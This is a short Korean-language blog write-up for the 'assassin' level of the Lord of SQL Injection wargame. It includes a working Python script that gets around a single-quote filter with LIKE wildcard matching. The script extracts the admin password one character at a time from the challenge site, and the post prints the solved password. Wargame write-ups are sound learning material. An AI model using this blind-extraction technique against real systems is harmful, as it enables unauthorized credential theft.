writeup/LOS
[Lord of SQL injection] assassin
hoppi
2021. 7. 15. 15:03
50번째 글.
1. 코드 분석
일단 single quote가 필터링되어있다.
2. Exploit
single quote를 bypass하려고 시도해봤지만 전혀 되질 않았다..
그러던 중 구글링을 통해 like를 쓰는 경우 패턴 매칭을 통해서 쿼리의 결과를 얻어낼 수 있다는 사실을 알게 되었다.
예를 들어 pw가 15304이고 쿼리가 select id from table where pw like '1%'라 하면
pw가 1로 시작하는 것을 검색하겠다는 의미이다.
이런 점을 이용해 코드를 짜면 다음과 같다.
import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
# password_length = 0
admin_password = ''
ascii_printable = string.printable
same_str=''
## get password
for i in range(8):
for j in ascii_printable:
url = f"https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw={admin_password+j}%"
res = sess.get(url, headers=headers)
if('Hello guest' in res.text):
same_str = j
if('Hello admin' in res.text):
admin_password = admin_password+j
print(admin_password)
break
## 인덱스가 기호까지 갔다는 것은 admin의 비밀번호의 특정위치의 값이 guest의 비밀번호의 특정위치의 값과 동일하다는 것
if(j=="!"):
admin_password = admin_password+same_str
break
print("Admin Password is " + admin_password)
코드를 돌려보면 pw는 '902efd10'이다.
여기서 주의할 점은 admin의 pw의 첫 몇 글자가 guest의 pw와 일치해서 코드를 짤 때 그런 부분도 고려해줘야 했다.
Reference
https://velog.io/@dnjscksdn98/Database-%ED%8C%A8%ED%84%B4-%EB%A7%A4%EC%B9%AD // 패턴매칭